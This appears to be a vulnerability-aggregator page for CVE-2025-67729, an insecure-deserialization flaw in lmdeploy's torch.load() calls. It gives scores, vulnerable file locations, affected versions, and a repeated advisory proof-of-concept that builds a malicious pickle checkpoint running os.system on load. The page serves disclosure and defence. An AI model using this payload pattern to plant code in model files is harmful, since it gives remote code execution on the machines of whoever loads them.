CVE-2025-67729
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.
- Record
CVE-2025-67729- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-205455
8.8
LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.
- Record
EUVD-2025-205455- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9pf3-7rrr-x5jh
8.8
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
Summary
An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.
CWE: CWE-502 - Deserialization of Untrusted Data
Details
Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.
Vulnerable Locations
1. lmdeploy/vl/model/utils.py (Line 22)
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
"""Load checkpoint."""
if ckpt.endswith('.safetensors'):
return load_file(ckpt) # Safe - uses safetensors
else:
return torch.load(ckpt) # ← VULNERABLE: no weights_only=True
2. lmdeploy/turbomind/deploy/loader.py (Line 122)
class PytorchLoader(BaseLoader):
def items(self):
params = defaultdict(dict)
for shard in self.shards:
misc = {}
tmp = torch.load(shard, map_location='cpu') # ← VULNERABLE
Additional vulnerable locations:
lmdeploy/lite/apis/kv_qparams.py:129-130lmdeploy/lite/apis/smooth_quant.py:61lmdeploy/lite/apis/auto_awq.py:101lmdeploy/lite/apis/get_small_sharded_hf.py:41
Note: Secure Pattern Already Exists
The codebase already uses the secure pattern in one location:
# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu') # ✓ Secure
This shows the fix is already known and can be applied consistently across the codebase.
PoC
Step 1: Create a Malicious Checkpoint File
Save this as create_malicious_checkpoint.py:
#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os
class MaliciousPayload:
"""Executes arbitrary code during pickle deserialization."""
def __init__(self, command):
self.command = command
def __reduce__(self):
# This is called during unpickling - returns (callable, args)
return (os.system, (self.command,))
def create_malicious_checkpoint(output_path, command):
"""Create a malicious checkpoint file."""
malicious_state_dict = {
'model.layer.weight': MaliciousPayload(command),
'config': {'hidden_size': 768}
}
with open(output_path, 'wb') as f:
pickle.dump(malicious_state_dict, f)
print(f"[+] Created malicious checkpoint: {output_path}")
if __name__ == "__main__":
os.makedirs("malicious_model", exist_ok=True)
create_malicious_checkpoint(
"malicious_model/pytorch_model.bin",
"echo '[PoC] Arbitrary code executed! - RCE confirmed'"
)
Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)
Save this as exploit.py:
#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle
def unsafe_load(path):
"""Simulates torch.load() without weights_only=True."""
# torch.load() uses pickle internally, so this is equivalent
with open(path, 'rb') as f:
return pickle.load(f)
if __name__ == "__main__":
print("[*] Loading malicious checkpoint...")
print("[*] This simulates: torch.load(ckpt) in lmdeploy")
print("-" * 50)
result = unsafe_load("malicious_model/pytorch_model.bin")
print("-" * 50)
print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
print("[!] If you see the PoC message above, RCE is confirmed!")
Step 3: Run the PoC
# Create the malicious checkpoint
python create_malicious_checkpoint.py
# Exploit…
- Record
GHSA-9pf3-7rrr-x5jh- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.8
LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.
- Record
CVE-2025-67729- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.8
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.
- Record
CVE-2025-67729- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-9pf3-7rrr-x5jh
8.8
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
Summary
An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.
CWE: CWE-502 - Deserialization of Untrusted Data
Details
Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.
Vulnerable Locations
1. lmdeploy/vl/model/utils.py (Line 22)
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
"""Load checkpoint."""
if ckpt.endswith('.safetensors'):
return load_file(ckpt) # Safe - uses safetensors
else:
return torch.load(ckpt) # ← VULNERABLE: no weights_only=True
2. lmdeploy/turbomind/deploy/loader.py (Line 122)
class PytorchLoader(BaseLoader):
def items(self):
params = defaultdict(dict)
for shard in self.shards:
misc = {}
tmp = torch.load(shard, map_location='cpu') # ← VULNERABLE
Additional vulnerable locations:
lmdeploy/lite/apis/kv_qparams.py:129-130lmdeploy/lite/apis/smooth_quant.py:61lmdeploy/lite/apis/auto_awq.py:101lmdeploy/lite/apis/get_small_sharded_hf.py:41
Note: Secure Pattern Already Exists
The codebase already uses the secure pattern in one location:
# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu') # ✓ Secure
This shows the fix is already known and can be applied consistently across the codebase.
PoC
Step 1: Create a Malicious Checkpoint File
Save this as create_malicious_checkpoint.py:
#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os
class MaliciousPayload:
"""Executes arbitrary code during pickle deserialization."""
def __init__(self, command):
self.command = command
def __reduce__(self):
# This is called during unpickling - returns (callable, args)
return (os.system, (self.command,))
def create_malicious_checkpoint(output_path, command):
"""Create a malicious checkpoint file."""
malicious_state_dict = {
'model.layer.weight': MaliciousPayload(command),
'config': {'hidden_size': 768}
}
with open(output_path, 'wb') as f:
pickle.dump(malicious_state_dict, f)
print(f"[+] Created malicious checkpoint: {output_path}")
if __name__ == "__main__":
os.makedirs("malicious_model", exist_ok=True)
create_malicious_checkpoint(
"malicious_model/pytorch_model.bin",
"echo '[PoC] Arbitrary code executed! - RCE confirmed'"
)
Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)
Save this as exploit.py:
#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle
def unsafe_load(path):
"""Simulates torch.load() without weights_only=True."""
# torch.load() uses pickle internally, so this is equivalent
with open(path, 'rb') as f:
return pickle.load(f)
if __name__ == "__main__":
print("[*] Loading malicious checkpoint...")
print("[*] This simulates: torch.load(ckpt) in lmdeploy")
print("-" * 50)
result = unsafe_load("malicious_model/pytorch_model.bin")
print("-" * 50)
print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
print("[!] If you see the PoC message above, RCE is confirmed!")
Step 3: Run the PoC
# Create the malicious checkpoint
python create_malicious_checkpoint.py
# Exploit…
- Record
GHSA-9pf3-7rrr-x5jh- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2026-1578
8.8
lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()
Summary
An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.
CWE: CWE-502 - Deserialization of Untrusted Data
Details
Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.
Vulnerable Locations
1. lmdeploy/vl/model/utils.py (Line 22)
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
"""Load checkpoint."""
if ckpt.endswith('.safetensors'):
return load_file(ckpt) # Safe - uses safetensors
else:
return torch.load(ckpt) # ← VULNERABLE: no weights_only=True
2. lmdeploy/turbomind/deploy/loader.py (Line 122)
class PytorchLoader(BaseLoader):
def items(self):
params = defaultdict(dict)
for shard in self.shards:
misc = {}
tmp = torch.load(shard, map_location='cpu') # ← VULNERABLE
Additional vulnerable locations:
lmdeploy/lite/apis/kv_qparams.py:129-130lmdeploy/lite/apis/smooth_quant.py:61lmdeploy/lite/apis/auto_awq.py:101lmdeploy/lite/apis/get_small_sharded_hf.py:41
Note: Secure Pattern Already Exists
The codebase already uses the secure pattern in one location:
# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu') # ✓ Secure
This shows the fix is already known and can be applied consistently across the codebase.
PoC
Step 1: Create a Malicious Checkpoint File
Save this as create_malicious_checkpoint.py:
#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os
class MaliciousPayload:
"""Executes arbitrary code during pickle deserialization."""
def __init__(self, command):
self.command = command
def __reduce__(self):
# This is called during unpickling - returns (callable, args)
return (os.system, (self.command,))
def create_malicious_checkpoint(output_path, command):
"""Create a malicious checkpoint file."""
malicious_state_dict = {
'model.layer.weight': MaliciousPayload(command),
'config': {'hidden_size': 768}
}
with open(output_path, 'wb') as f:
pickle.dump(malicious_state_dict, f)
print(f"[+] Created malicious checkpoint: {output_path}")
if __name__ == "__main__":
os.makedirs("malicious_model", exist_ok=True)
create_malicious_checkpoint(
"malicious_model/pytorch_model.bin",
"echo '[PoC] Arbitrary code executed! - RCE confirmed'"
)
Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)
Save this as exploit.py:
#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle
def unsafe_load(path):
"""Simulates torch.load() without weights_only=True."""
# torch.load() uses pickle internally, so this is equivalent
with open(path, 'rb') as f:
return pickle.load(f)
if __name__ == "__main__":
print("[*] Loading malicious checkpoint...")
print("[*] This simulates: torch.load(ckpt) in lmdeploy")
print("-" * 50)
result = unsafe_load("malicious_model/pytorch_model.bin")
print("-" * 50)
print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
print("[!] If you see the PoC message above, RCE is confirmed!")
Step 3: Run the PoC
# Create the malicious checkpoint
python create_malicious_checkpoint.py
# Exploit…
- Record
PYSEC-2026-1578- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
lmdeployPyPI |
through 0.11 | 0.11.1 |
lmdeployPyPI |
before 0.11.1, plus listed versions 0.0.100.0.110.0.120.0.130.0.14 Show 42 moreShow less0.1.00.10.00.10.10.10.20.11.00.2.00.2.10.2.20.2.30.2.40.2.50.2.60.3.00.4.00.4.10.4.20.5.00.5.10.5.20.5.2.post10.5.30.6.00.6.0a00.6.10.6.20.6.2.post10.6.30.6.40.6.50.7.00.7.0.post10.7.0.post20.7.0.post30.7.10.7.20.7.2.post10.7.30.8.00.9.00.9.10.9.20.9.2.post1 |
0.11.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-67729 is a high vulnerability (CVSS 8.8) in Internlm Lmdeploy, published December 26, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in lmdeploy 0.11.1.
References
github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh
github.com/InternLM/lmdeploy/commit/eb04b4281c5784a5cff5ea639c8f96b33b3ae5ee
nvd.nist.gov/vuln/detail/CVE-2025-67729
github.com/advisories/GHSA-9pf3-7rrr-x5jh
github.com/CVEProject/cvelistV5/tree/main/cves/2025/67xxx/CVE-2025-67729.json
github.com/InternLM/lmdeploy
pypi.org/project/lmdeploy
Left out here: the rest of 3 source descriptions. The JSON record has them.